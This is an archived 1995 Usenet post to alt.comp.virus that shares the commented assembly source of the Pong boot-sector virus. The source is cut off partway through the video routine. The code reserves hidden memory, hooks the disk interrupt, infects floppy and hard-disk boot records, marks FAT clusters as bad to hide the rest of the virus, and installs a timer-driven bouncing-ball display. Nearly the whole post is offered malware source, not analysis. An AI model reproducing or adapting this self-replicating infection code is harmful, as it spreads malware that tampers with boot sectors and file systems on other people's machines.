home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / ASM-P.ZIP / pong.asm / text0000.txt < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  21.7 KB

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  2. From: danishm@iia.org ()
  3. Newsgroups: alt.comp.virus
  4. Subject: Pong
  5. Date: 5 Feb 1995 21:56:02 GMT
  6. Organization: International Internet Association.
  7. Lines: 624
  8. Message-ID: <3h3hhi$sb@ankh.iia.org>
  9. NNTP-Posting-Host: iia.org
  10. X-Newsreader: TIN [version 1.2 PL2]
  11.  
  12. Here is the Pong virus:
  13.  
  14.  
  15.  
  16.    ; ORIGININ ADDRESS -7C00H 
  17.  
  18.  
  19. RAM   SEGMENT AT 0
  20.  
  21.    ; SYSTEM DATA
  22.  
  23.    ORG   20H
  24. INT8OF   DW ?        ; INTERRUPT 8 OFFSET
  25. INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
  26.    ORG   4CH
  27. INT19O   DW ?        ; INTERRUPT 19 OFFSET
  28. INT19S   DW ?        ; INTERRUPT 19 SEGMENT
  29.    ORG   413H
  30. RAMSIZ   DW ?        ; TOTAL RAM SIZE
  31.  
  32.    ; BPB OF VIRUS BOOT RECORD
  33.  
  34.    ORG   7C0BH
  35. BYPSEC   DW ?        ; BYTES PER SECTOR
  36. NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  37. SECRES   DW ?        ; RESERVED SECTORS
  38. FATNUM   DB ?        ; NUMBER OF FATS
  39. DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  40. SECNUM   DW ?        ; NUMBER OF SECTORS
  41. MEDIAD   DB ?        ; MEDIA DESCRIPTOR
  42. SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
  43. SECTRK   DW ?        ; SECTORS PER TRACK
  44. HEDNUM   DW ?        ; NUMBER OF HEADS
  45. HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  46.  
  47.    ; INTERRUPT 19 (13H) BRANCH ADDRESS
  48.  
  49.    ORG   7D2AH
  50.  
  51. ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
  52. ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT
  53.  
  54.    ; INSTALLATION DATA AREA
  55.  
  56.    ORG   7DF3H
  57. CURFAT   DW ?     ; CURRENT FAT SECTOR
  58. CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
  59. SWITCH   DB ?     ; SWITCHES
  60.             ;          - 01H - NESTED INTERRUPT
  61.             ;          - 02H - TIMER INTERRUPT INSTALLED
  62.             ;          - 04H - 16-BIT FAT
  63. LSTDRV   DB ?     ; DRIVE LAST USED
  64. REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
  65. RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
  66. FLAG01   DW ?     ; FLAG FIELD
  67.  
  68.    ; DATA AREA
  69.  
  70.    ORG   7EB0H
  71. LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
  72. PRCFAT   DB ?        ; PROCESSED FAT / 256
  73.  
  74.    ; INTERRUPT 8 BRANCH ADDRESS
  75.  
  76.    ORG   7FC9H
  77. ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
  78. ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT
  79.  
  80.    ; DISPLAY DATA AREA
  81.  
  82.    ORG   7FCDH
  83. CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
  84. ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
  85. ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
  86. GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
  87. MODEAP   DW ?        ; MODE AND ACTIVE PAGE
  88. COLUMN   DB ?        ; VISIBLE COLUMNS - 1
  89.  
  90.    ; BPB OF ORIGINAL BOOT RECORD
  91.  
  92.    ORG   800BH
  93. BIPSEC   DW ?        ; BYTES PER SECTOR
  94. ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  95. VERVED   DW ?        ; RESERVED SECTORS
  96. RUMNUM   DB ?        ; NUMBER OF FATS
  97. ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  98. NUOSEC   DW ?        ; NUMBER OF SECTORS
  99. MIASET   DB ?        ; MEDIA DESCRIPTOR
  100. FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
  101. TRASSC   DW ?        ; SECTORS PER TRACK
  102. NUOHED   DW ?        ; NUMBER OF HEADS
  103. HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  104.  
  105.  
  106.    ORG   81F5H
  107. FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
  108. SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
  109.          ;             - 02H - TIMER INTERRUPT INSTALLED
  110.          ;             - 04H - 16-BIT FAT
  111. LASTUS   DB ?        ; DRIVE LAST USED
  112. REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
  113. LATER2   DB ?        ; TYPE SWITCH
  114. LATER3   DW 2 DUP (?)     ; INSTALLED.. HMMM?
  115.  
  116.  
  117. RAM   ENDS
  118.  
  119. CODE  SEGMENT BYTE PUBLIC 'CODE'
  120.    ASSUME CS:CODE,DS:RAM
  121.  
  122. START:  
  123.    JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE
  124.  
  125.    DB 'MSDOS3.2'     ; OEM AND VERSION
  126.  
  127.    DW 512      ; BYPSEC - BYTES PER SECTOR
  128.    DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
  129.    DW 1        ; SECRES - RESERVED SECTORS
  130.    DB 2        ; FATNUM - NUMBER OF FATS
  131.    DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
  132.    DW 720      ; SECNUM - NUMBER OF SECTORS
  133.    DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
  134.    DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
  135.    DW 9        ; SECTRK - SECTORS PER TRACK
  136.    DW 2        ; HEDNUM - NUMBER OF HEADS
  137.    DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
  138.  
  139.    ; START OF PROCESSING
  140.  
  141.    ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
  142.  
  143. HIDE_ME_PLEASE: 
  144.    XOR   AX,AX
  145.    MOV   SS,AX       ; STACK SEGMENT ZERO
  146.    MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
  147.    MOV   DS,AX       ; DATA SEGMENT ZERO
  148.    MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
  149.    SUB   AX,2        ; SUBTRACT 2K
  150.    MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
  151.    MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
  152.    SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
  153.    SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
  154.    MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
  155.    MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
  156.    MOV   DI,SI       ; COPY OFFSET FOR SOURCE
  157.    MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
  158.    REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
  159. ;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
  160.                      ; THIS IS THE ILLEGAL OPCODE!
  161.    DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED
  162.  
  163.    ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
  164.  
  165.    PUSH  CS             ; \ SET DS EQUAL TO CS
  166.    POP   DS             ; /
  167.    CALL  SET_IT_UP
  168. SET_IT_UP: 
  169.    XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
  170.    INT   13H            ; DISK INTERRUPT
  171.    AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
  172.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  173.    PUSH  CS             ; \ GET CURRENT SEGMENT
  174.    POP   AX             ; /
  175.    SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
  176.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
  177.    CALL  READ_IT_IN         ; READ REST OF CODE
  178.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  179.    INC   BX             ; ADDRESS TO BOOT SECTOR STORE
  180.    MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
  181.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
  182.    CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
  183.    XOR   AX,AX
  184.    MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
  185.    MOV   DS,AX          ; DATA SEGMENT ZERO
  186.    MOV   AX,INT19O      ; SAVE INT 19 OFFSET
  187.    MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
  188.    MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
  189.    MOV   INT19S,CS      ; NEW INT 19 SEGMENT
  190.    PUSH  CS             ; \ SET DS EQUAL TO CS
  191.    POP   DS             ; /
  192.    MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
  193.    MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
  194.    MOV   DL,LSTDRV      ; GET DRIVE NUMBER
  195.    DB 0EAH              ; FAR JUMP TO BOOT SECTOR
  196.    DW 7C00H, 0
  197.  
  198. WRITE_IT_OUT: 
  199.    MOV   AX,301H     ; WRITE ONE SECTOR
  200.    JMP   SHORT GET_SECTOR
  201.  
  202. READ_IT_IN: 
  203.    MOV   AX,201H     ; READ ONE SECTOR
  204. GET_SECTOR: 
  205.    XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
  206.    ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
  207.    XOR   DX,DX       ; CLEAR FOR DIVISION
  208.    DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
  209.    INC   DL          ; ADD ONE TO ODD SECTORS
  210.    MOV   CH,DL       ; SAVE SECTOR NUMBER
  211.    XOR   DX,DX       ; CLEAR FOR DIVISION
  212.    DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
  213.    MOV   CL,6        ; POSITIONS TO MOVE
  214.    SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
  215.    OR    AH,CH       ; MOVE IN SECTOR NUMBER
  216.    MOV   CX,AX       ; MOVE TO CORRECT REGISTER
  217.    XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
  218.    MOV   DH,DL       ; MOVE HEAD NUMBER
  219.    MOV   AX,BX       ; RECOVER CONTENTS OF AX
  220. BRING_IN: 
  221.    MOV   DL,LSTDRV   ; GET DRIVE NUMBER
  222.    MOV   BX,8000H    ; SET BUFFER ADDRESS
  223.    INT   13H         ; DISK INTERRUPT
  224.    JNB   GO_BACK     ; BRANCH IF NO ERRORS
  225.    POP   AX
  226. GO_BACK:
  227.    RET
  228.  
  229.    ; INTERRUPT 19 (13H) (DISK) ROUTINE
  230.  
  231. INT_19: 
  232.    PUSH  DS
  233.    PUSH  ES
  234.    PUSH  AX
  235.    PUSH  BX
  236.    PUSH  CX
  237.    PUSH  DX
  238.    PUSH  CS             ; \ SET DS EQUAL TO CS
  239.    POP   DS             ; /
  240.    PUSH  CS             ; \ SET ES EQUAL TO CS
  241.    POP   ES             ; /
  242.    TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
  243.    JNZ   PASS_OUT         ; EXIT IF ON
  244.    CMP   AH,2           ; TEST FOR READ SECTOR
  245.    JNZ   PASS_OUT         ; EXIT IF NOT
  246.    CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
  247.    MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
  248.    JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME
  249.  
  250.    ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
  251.    ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
  252.    ; TIME A DISK-READ WILL SWITCH IT ON.
  253.  
  254.    XOR   AH,AH          ; GET SYSTEM CLOCK
  255.    INT   1AH            ; SYSTEM CLOCK INTERRUPT
  256.    TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
  257.    JNZ   DO_TIME
  258.    TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
  259.    JNZ   DO_TIME
  260.    PUSH  DX             ; SAVE SYSTEM TIME
  261.    CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
  262.    POP   DX             ; RECOVER SYSTEM TIME
  263. DO_TIME: 
  264.    MOV   CX,DX          ; COPY SYSTEM TIME
  265.    SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
  266.    MOV   LASTTM,CX      ; SAVE SYSTEM TIME
  267.    SUB   DX,24H         ; SUBTRACT 2 SECONDS
  268.    JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
  269. INT_SWITCH: 
  270.    OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
  271.    PUSH  SI
  272.    PUSH  DI
  273.    CALL  DISK_INSTALL         ; INSTALL ON DISK
  274.    POP   DI
  275.    POP   SI
  276.    AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
  277. PASS_OUT: 
  278.    POP   DX
  279.    POP   CX
  280.    POP   BX
  281.    POP   AX
  282.    POP   ES
  283.    POP   DS
  284.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
  285.    DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
  286.    DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT
  287.  
  288.    ; DISK INSTALLATION
  289.  
  290. DISK_INSTALL: 
  291.    MOV   AX,201H        ; READ ONE SECTOR
  292.    MOV   DH,0           ; HEAD NUMBER 0
  293.    MOV   CX,1           ; TRACK 0, SECTOR 1
  294.    CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
  295.    TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
  296.    JZ    FAT_CHECK         ; BRANCH IF NOT
  297.  
  298.    ; HARD DISK - PARTITION TABLE
  299.  
  300.    MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
  301.    MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
  302. NEXT_PART_ENTRY: 
  303.    CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
  304.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  305.    CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
  306.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  307.    ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
  308.    LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
  309.    RET
  310.  
  311.    ; HARD DISK - GET BOOT RECORD
  312.  
  313. SNARF_UP_THE_BOOT: 
  314.    MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
  315.    MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
  316.    MOV   AX,201H        ; READ ONE SECTOR
  317.    CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION
  318.  
  319.    ; BOOT SECTOR PROCESSING
  320.  
  321. FAT_CHECK: 
  322.    MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
  323.    MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
  324.    MOV   CX,1CH         ; LENGTH OF BPB
  325.    REPZ  MOVSB          ; COPY BPB
  326.    CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
  327.    JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
  328.    CMP   LATER2,0
  329.    JNB   HEAD_EM_OUT
  330.    MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
  331.    MOV   CURCLS,AX      ; SAVE IT
  332.    MOV   SI,REMAI2
  333.    JMP   PLACE_VIRUS
  334.  
  335. HEAD_EM_OUT:  RET
  336.  
  337.    ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
  338.  
  339. WHERE_BE_THE_FAT: 
  340.    CMP   BIPSEC,200H    ; SECTOR SIZE 512
  341.    JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
  342.    CMP   ALCSEC,2       ; SECTORS PER CLUSTER
  343.    JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
  344.    MOV   CX,VERVED      ; GET RESERVED SECTORS
  345.    MOV   AL,RUMNUM      ; NUMBER OF FATS
  346.    CBW                  ; FILL OUT REGISTER
  347.    MUL   FASNUM         ; SECTORS PER FAT
  348.    ADD   CX,AX          ; SECTOR OF ROOT DIR
  349.    MOV   AX,20H         ; LENGTH OF DIR ENTRY
  350.    MUL   ROTRID         ; NUMBER OF DIR ENTRIES
  351.    ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
  352.    MOV   BX,200H        ; LENGTH OF SECTOR
  353.    DIV   BX             ; SECTORS OF ROOT DIR
  354.    ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
  355.    MOV   CURCLS,CX      ; SAVE THIS
  356.    MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
  357.    SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
  358.    MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
  359.    XOR   DX,DX
  360.    XOR   BH,BH          ; CLEAR TOP OF REGISTER
  361.    DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
  362.    INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
  363.    MOV   DI,AX
  364.    AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
  365.    CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
  366.    JBE   WRITE_FAT         ; BRANCH IF YES
  367.    OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
  368. WRITE_FAT: 
  369.    MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
  370.    MOV   BX,SECRES      ; GET RESERVED SECTORS
  371.    DEC   BX             ; ALLOW FOR ADDITION
  372.    MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
  373.    MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
  374.    JMP   SHORT READ_FAT
  375.  
  376.    ; DATA AREA
  377.  
  378.    DW 2     ; CURFAT - CURRENT FAT SECTOR
  379.    DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
  380.    DB 1     ; SWITCH - SWITCHES
  381.             ;        - 01H - NESTED INTERRUPT
  382.             ;        - 02H - TIMER INTERRUPT INSTALLED
  383.             ;        - 04H - 16-BIT FAT
  384.    DB 0               ; LSTDRV - DRIVE LAST USED
  385.    DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
  386.    DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
  387.    DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.
  388.  
  389.       ; END OF FIRST SECTOR, START OF SECOND
  390.  
  391.    ; SEARCH FAT FOR UNUSED CLUSTER
  392.  
  393. READ_FAT: 
  394.    INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
  395.    MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
  396.    ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
  397.    CALL  READ_IT_IN         ; READ FAT SECTOR
  398.    JMP   SHORT GET_EM_NEXT
  399.  
  400. FAT_SWITCH: 
  401.    MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
  402.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  403.    JZ FAT_ENTRY         ; BRANCH IF OFF
  404.    INC   AX          ; FOUR BYTES NOT THREE
  405. FAT_ENTRY: 
  406.    MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
  407.    SHR   AX,1        ; DIVIDE BY TWO
  408.    SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
  409.    MOV   BX,AX       ; COPY DISPLACEMENT
  410.    CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
  411.    JNB   READ_FAT      ; BRANCH IF NOT
  412.    MOV   DX,[BX+8000H]     ; GET ENTRY
  413.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  414.    JNZ   F_TEST_1      ; BRANCH IF ON
  415.    MOV   CL,4        ; POSITIONS TO MOVE
  416.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  417.    JZ    FAT_TOP      ; BRANCH IF NOT
  418.    SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
  419. FAT_TOP: 
  420.    AND   DH,0FH      ; SWITCH OFF TOP BITS
  421. F_TEST_1: 
  422.    TEST  DX,0FFFFH   ; TEST ALL BITS
  423.    JZ    MAKE_BAD      ; BRANCH IF NONE ON
  424. GET_EM_NEXT: 
  425.    INC   SI          ; NEXT FAT ENTRY
  426.    CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
  427.    JBE   FAT_SWITCH      ; BRANCH IF NOT
  428.    RET
  429.  
  430.    ; SPARE CLUSTER FOUND - INSTALL ON DISK
  431.  
  432. MAKE_BAD: 
  433.    MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
  434.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  435.    JNZ   FIND_SECTOR      ; BRANCH IF ON
  436.    AND   DH,0FH      ; CONVERT MARKER TO FF7H
  437.    MOV   CL,4        ; BITS TO MOVE
  438.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  439.    JZ    FIND_SECTOR      ; BRANCH IF NOT
  440.    SHL   DX,CL       ; MOVE INTO POSITION
  441. FIND_SECTOR: 
  442.    OR [BX+8000H],DX  ; PUT MARKER INTO FAT
  443.    MOV   BX,CURFAT   ; GET SECTOR NUMBER
  444.    CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
  445.    MOV   AX,SI       ; GET ENTRY NUMBER
  446.    SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
  447.    MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
  448.    XOR   BH,BH       ; CLEAR TOP OF REGISTER
  449.    MUL   BX          ; CONVERT TO SECTORS
  450.    ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
  451.    MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
  452.    MOV   BX,0        ; SECTOR ZERO
  453.    CALL  READ_IT_IN      ; READ BOOT SECTOR
  454.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  455.    INC   BX          ; ADDRESS TO NEXT SECTOR
  456.    CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
  457. PLACE_VIRUS: 
  458.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  459.    MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
  460.    PUSH  CS          ; \ GET CURRENT SEGMENT
  461.    POP   AX          ; /
  462.    SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
  463.    MOV   ES,AX       ; SET BUFFER ADDRESS
  464.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
  465.    PUSH  CS          ; \ GET CURRENT SEGMENT
  466.    POP   AX          ; /
  467.    SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
  468.    MOV   ES,AX       ; SET BUFFER ADDRESS
  469.    MOV   BX,0        ; SECTOR ZERO
  470.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
  471.    RET
  472.  
  473.    DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
  474.    DB 2           ; PRCFAT - PROCESSED FAT / 256
  475.  
  476.    ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
  477.  
  478. INTERRUPT_08: 
  479.    TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
  480.    JNZ   FINISH_TIME         ; BRANCH IF ON
  481.    OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
  482.    MOV   AX,0           ; \ SEGMENT ZERO
  483.    MOV   DS,AX          ; /
  484.    MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
  485.    MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
  486.    MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
  487.    MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
  488.    PUSH  CS             ; \ SET DS EQUAL TO CS
  489.    POP   DS             ; /
  490.    MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
  491.    MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
  492. FINISH_TIME: 
  493.    RET
  494.  
  495.    ; INTERRUPT 10
  496.  
  497. DO_VIDEO: 
  498.    PUSH  DS
  499.    PUSH  AX
  500.    PUSH  BX
  501.    PUSH  CX
  502.    PUSH  DX
  503.    PUSH  CS             ; \ SET DS EQUAL TO CS
  504.    POP   DS             ; /
  505.    MOV   AH,0FH         ; GET VDU PARAMETERS
  506.    INT   10H            ; VDU INTERRUPT
  507.    MOV   BL,AL          ; VDU MODE
  508.    CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
  509.    JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
  510.    MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
  511.    DEC   AH             ; VISIBLE COLUMNS
  512.    MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
  513.    MOV   AH,1           ; GRAPHICS MODE SWITCH ON
  514.    CMP   BL,7           ; TEST FOR TELETYPE MODE
  515.    JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
  516.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  517. IS_IT_GRAPHICS: 
  518.    CMP   BL,4           ; TEST FOR GRAPHICS MODE
  519.    JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
  520.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  521. ROW_AND_COLUMN: 
  522.    MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
  523.    MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
  524.    MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
  525.    MOV   AH,3           ; GET CURSOR ADDRESS
  526.    INT   10H            ; VDU INTERRUPT
  527.    PUSH  DX             ; SAVE CURSOR ADDRESS
  528.    MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
  529.    JMP   SHORT VIDEO_01
  530.  
  531. CHARACTER_ATTRIB: 
  532.    MOV   AH,3        ; GET CURSOR ADDRESS
  533.    INT   10H         ; VDU INTERRUPT
  534.    PUSH  DX
  535.    MOV   AH,2        ; SET CURSOR ADDRESS
  536.    MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
  537.    INT   10H         ; VDU INTERRUPT
  538.    MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
  539.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  540.    JNZ   WRITE_CHAR      ; BRANCH IF NOT
  541.    MOV   AX,8307H    ; CHARACTER AND WRITE MODE
  542. WRITE_CHAR: 
  543.    MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
  544.    MOV   CX,1        ; ONLY ONCE
  545.    MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
  546.    INT   10H         ; VDU INTERRUPT
  547. VIDEO_01: 
  548.    MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
  549.    CMP   DH,0           ; IS ROW ZERO
  550.    JNZ   VIDEO_02         ; BRANCH IF NOT
  551.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  552.    INC   CH             ; /
  553. VIDEO_02: 
  554.    CMP   DH,18H         ; IS ROW 24
  555.    JNZ   VIDEO_04         ; BRANCH IF NOT
  556.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  557.    INC   CH             ; /
  558. VIDEO_04: 
  559.    CMP   DL,0           ; IS COLUMN 0
  560.    JNZ   VIDEO_05         ; BRANCH IF NOT
  561.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  562.    INC   CL             ; /
  563. VIDEO_05: 
  564.    CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
  565.    JNZ   VIDEO_07         ; BRANCH IF NOT
  566.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  567.    INC   CL             ; /
  568. VIDEO_07: 
  569.    CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
  570.    JNZ   VIDEO_09         ; BRANCH IF CHANGED
  571.    MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
  572.    AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
  573.    CMP   AL,3           ; TEST BITS 1 AND 2
  574.    JNZ   VIDEO_08         ; BRANCH IF OFF
  575.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  576.    INC   CH             ; /
  577. VIDEO_08: 
  578.    CMP   AL,5           ; TEST BITS 1 AND 3
  579.    JNZ   VIDEO_09         ; BRANCH IF OFF
  580.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
